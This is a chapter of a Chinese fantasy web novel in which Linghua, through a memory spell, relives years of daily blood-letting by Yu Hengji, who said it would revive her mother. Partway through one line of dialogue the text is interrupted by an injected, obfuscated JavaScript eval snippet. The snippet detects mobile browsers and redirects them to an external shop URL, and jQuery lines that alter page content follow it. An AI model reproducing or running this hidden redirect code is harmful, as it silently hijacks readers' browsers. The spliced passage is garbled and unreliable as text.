灵华坐在凳子上,看着面前这桌饭菜,她双手抓住自己两侧的头发,不断回忆着她小时候的事,她只记得身体上的疼痛和内心的害怕,其他的事情就如同一团迷雾,她看不清,记不起。灵华喃喃自语道:“我到底忘了什么?”
白无患站在她身后,道:“灵华,你想知道吗?”
灵华扭过头看着灵华和顾星河,像看到一道光,道:“无患,你有办法吗?”
白无患道:“有一个办法,不过你可能会很疼。”
灵华站起身,握住灵华的手,道:“我不怕疼,帮帮我。”
顾星河坐在桌子上,拿起一个茶杯,将它倒扣在桌子上,道:“灵华,我们离开这里吧,不要探究以前,只看以后,好吗?”
对于未来会发生什么,顾星河并不知道,只是心里隐隐有些害怕。
灵华看着顾星河有些悲伤的样子,对她挤出来一个笑容,道:“师兄,我已经长大了,有些事我知道了,就必须要面对。”
这座房间里,也许只有白无患最能懂她的心。
“灵华,此阵名为簇灵阵,能显示出你内心最深处的记忆,你要不断回想十二年前发生了什么。”
白无患变出几个藤蔓飞向房间四周,而后将手放在灵华额头上,一根如针线一般细小的绿色藤蔓顺着灵华的额头钻了进去。
藤蔓进去一瞬间,灵华眉头就不自觉拧到了一起,额头也爬上了密密麻麻的汗珠,她的头,很痛很痛,就像要裂开一样。
看着灵华表情越来越痛苦,白无患也开始念起了咒语。
“灵阵显形,与我之令,诉汝之行。”
……
一片树林里,虞衡纪正在和一个猪妖缠斗,此时的他看起来只有二十岁左右,猪妖虽然身体和人一样,但他的脸和猪脸一样,硕大的招风耳上长满了黑色的鬓毛,一双铜铃一样的眼睛通红无比,猪鼻子上还挂着一个黑色的铁环,它满身横肉,双手各握一把屠刀,看起来孔武有力。
猪妖手握双刀飞身向虞衡纪,虞衡纪急忙用长剑拦住这两把刀,刀剑相碰,发出阵阵耀眼白光。
突然一只青色的小鸟,从不远处的树枝飞了过来,变成一个小女孩,出现在虞衡纪身后,小女孩看着虞衡纪的背影,哭了起来。
这哭声让虞衡纪忍不住向后望去,猪妖趁对方晃神之际,抬起一把屠刀,向虞衡纪头上砍去。
说时迟那时快,就在刀刃要碰到他头时,虞衡纪回过神了,急忙向后翻身,躲过了这致命一击,只不过有一些头发被对方削下来了。
猪妖乘胜追击追击,一跃而起,对着虞衡纪飞去。
虞衡纪灵力编织了一金网,将它丢向猪妖,在猪妖被困住时,他急忙抱住小女孩往后跑去,他替小女孩擦一下眼角的泪,道:“灵华,不是让你等我树上等我。”
小灵华抬起自己的手,她的稚嫩的小手上有一道血红的伤口,她哭道:“虞叔叔,树上有蛇,它要吃我。”
虞衡纪向灵华飞过来的方向看去,看到一只蛇妖正向这边快速爬来,那蛇妖上半身是人,下半身是和水桶一样粗的蛇尾巴,脸上还有很多灰色的鳞片,时不时吐出蛇信子,看起来十分可怖。
虞衡纪神色冰冷地看着那只蛇妖,眼神里涌现出无尽杀意,他道:“灵华,不要怕,我会保护你。”
他缓缓把灵华放在地上,自己也蹲下了身,他把手放在她头上,道:“灵华乖,我们玩个游戏,好不好。”
灵华抽泣道:“什么游戏。”
虞衡纪道:“你把眼睛闭上,默默数一百个数,一百个数后,你睁开眼睛,面前的蛇妖和猪妖都会消失。”
灵华点了点头,而后闭上了眼睛,开始数起数来。
“一,二……”
虞衡纪站起来,拿起自己的剑,看着两侧的蛇妖和猪妖。
蛇妖把手中的钢叉丢到猪妖身上,一瞬间,那金网便被破开,蛇妖道:“八弟,你怎么这么废物。”
猪妖道:“大哥,让我们杀了这个道士,为哥哥们报仇。”
“十,十一……”
虞衡纪不言,只是紧紧握住手中的剑,长剑如虹,集结了他全部的灵力。
小灵华听着耳边的刀剑声,握紧了自己的小拳头,继续数着数。
“二十,二十一……一百。”
等到一百,灵华睁开了双眼,她看到虞衡纪正站在不远处,温柔地看着他,他白色的道袍上和俊秀的脸上都有一些血迹,小灵华跑到他身旁,道:“虞叔叔,你流血了!”
虞衡纪抱起她,看着灵华还在流血的手,道:“我没事,你的手还疼吗?”
灵华摇了摇头,道:”不疼了。”
其实她的手还疼,只是不想让虞衡纪担心。
虞衡纪扭过头,看着地上一灰一红的两颗妖丹,一挥手便把它们收了起来。
灵华看着虞衡纪手上闪闪发亮的珠子,好奇道:”虞叔叔,这是什么吗?”
虞衡纪把这两颗还温热的珠子送到她眼前,道:“这是能让你娘亲醒过来的药。”
灵华拿起那两个珠子,她手上的血沾在这两个珠子上,两个珠子闪了一下。
她抬起手,将两颗珠子对着太阳,太阳下,这两个珠子更加闪亮,没人注意到,红色的血迹正慢慢被这两个珠子吸收。
……
几天后,灵华正在自己房间和一只灰色的小麻雀一起玩,虞衡纪走了进来,他似乎有心事,眉眼之间是藏不住的忧愁。
灵华看着他,满心欢喜道:“虞叔叔,我娘好了点吗?”
虞衡纪坐在凳子上,把她抱在怀里,看着她的眼睛,道:“灵华。”
灵华道:“怎么了,虞叔叔。”
虞衡纪似乎下了一个很大决心,问道:“灵华,你愿意救你娘吗?”
灵华睁着大大的眼睛,道:“愿意。”
虞衡纪慈爱地摸了一下她的头,道:“救你娘,需要你的血,你愿意吗?”
灵华想了一下,她没见过自己的娘,此时也不懂娘对于她的含义,可看到虞衡纪期盼的眼神,她不想让对方失望,疑惑地点了点头,道:”我愿意。”
“每天都要取你的血,你也愿意吗?”
“愿意。”
虞衡纪道:“好孩子,答应了就不能后悔,知道吗?”
“嗯。”
“真乖。”
虞衡纪脸上的忧愁都散了,只剩下欣喜,他又捏了一下灵华的小手,灵华这时想起她有东西想送给虞衡纪,她从袖子里拿出一根青色的羽毛,递给了对方,道:“虞叔叔,送给你。”
虞衡纪拿着那根青绿色的羽毛,摸了一下她的头发,道:“多谢灵华了,这是哪里来啊?”
灵华甜甜的笑了一下,道:“我身上的。”
……
一年后,灵华看着虞衡纪手上的小刀,不住握紧了自己手腕,浑身也开始发抖。
虞衡纪面色慈爱,语气温柔道:“灵华,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17071564|187812||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乖,把手伸出来。”
灵华颤颤巍巍伸出自己手,偏过头去,不敢去看。
“灵华,乖,忍忍就好。”
随着利刃划破灵华的皮肤,大量鲜血从她的伤口中流出,这种血液离体的痛感,让灵华忍不住流出眼泪。
不知道是因为害怕虞衡纪失望,还是害怕对方责怪自己,虞衡纪不敢叫出声。
虞衡纪取好血,从怀里拿出一瓶药,他耐心将药粉撒在灵华手上,没一会,她手上的伤口便开始愈合。
如此厉害的药,自然也是有副作用,就是痛,比皮开肉绽还痛,比全身骨折还痛。
这种痛,让灵华忍不住叫出声:“痛。”
虞衡纪道:“灵华乖,这是回生散,能让你手上不留疤。”
灵华道:“我娘还没醒吗?”
虞衡纪神色有些黯淡,道:“还没。”
灵花低下头,看着手上逐渐愈合的伤口,蚀骨钻心之痛,让灵华顾不得留不留疤,她语气充满卑微,询问道:“虞叔叔,能不能不用这个药。”
虞衡纪拉起她的手,道:“不用这个药,手上会留疤。”
灵华道:“虞叔叔,我不怕留疤。”
说完灵华又拿出一根羽毛,递给对方,虞衡纪接过那根羽毛,又摸了一下她的头。
……
三年后,灵华看着取完血的虞衡纪,她问道:“我娘还没醒吗?”
虞衡纪点了点头,道:“你娘受了很重的伤,需要一些时日。”
“嗯。”
灵华心里升起了一种想法,虞衡纪真的在救她娘吗?而她一定要救她娘吗?这日复一日的痛感什么时候才会到头。
虞衡纪拿出纱布想要给她包扎一下伤口,灵华急忙收起了自己手,看着对方,讪笑道:“我自己来就好。”
“嗯!”
“那你好好休息,我先走了。”
灵华看着虞衡纪离去的背影,又低头看了一眼自己手腕,看着上边密密麻麻的伤疤,有的已经结痂了,有的已经愈合了。
可她的心却有了一道不会愈合的伤疤。
……
灵华看着这些画面,有些失神道:“为什么是这样子?”
“为什么是这样子。”
这些事她早就忘了,她只记得那些痛感,却忘了这是她先答应的。
虞衡纪总告诉她,她娘快好了,可却没带她看过她娘一次。日复一日的身体摧残,和心理上无望,让灵华逐渐恨上了虞衡纪,恨上了那个素未谋面的娘。
随着她越长越大,这些幼时的记忆也逐渐扭曲。
她想要忘记那段痛苦的回忆,忘记那个带给她痛苦的人,还有那个不愿意继续救她娘亲的自己。
她渐渐以为虞衡纪是想要伤害她,忘记了这一切是因为她先答应过,也忘了她送虞衡纪羽毛的原因,一开始是小孩子对于长辈的依恋,后来是为了讨好对方,希望对方能不要伤害她。
“我怎么都忘了呢?”
顾星河看灵华自责的神情,道:“灵华,你那个时候还小,什么都不懂。”
灵华抓住顾星河的手,道:“我逃了。”
白无患抱住她道:“不是你的错,五年了,你坚持五年已经很不容易了,就算那样能救你娘,可对于你来说就相当于凌迟啊!”
凌迟只用千刀,虞衡纪从日复日一日从灵华身上的取血,每天都会割她三刀,都五千多刀了,试问,这世间谁能受得了这种酷刑。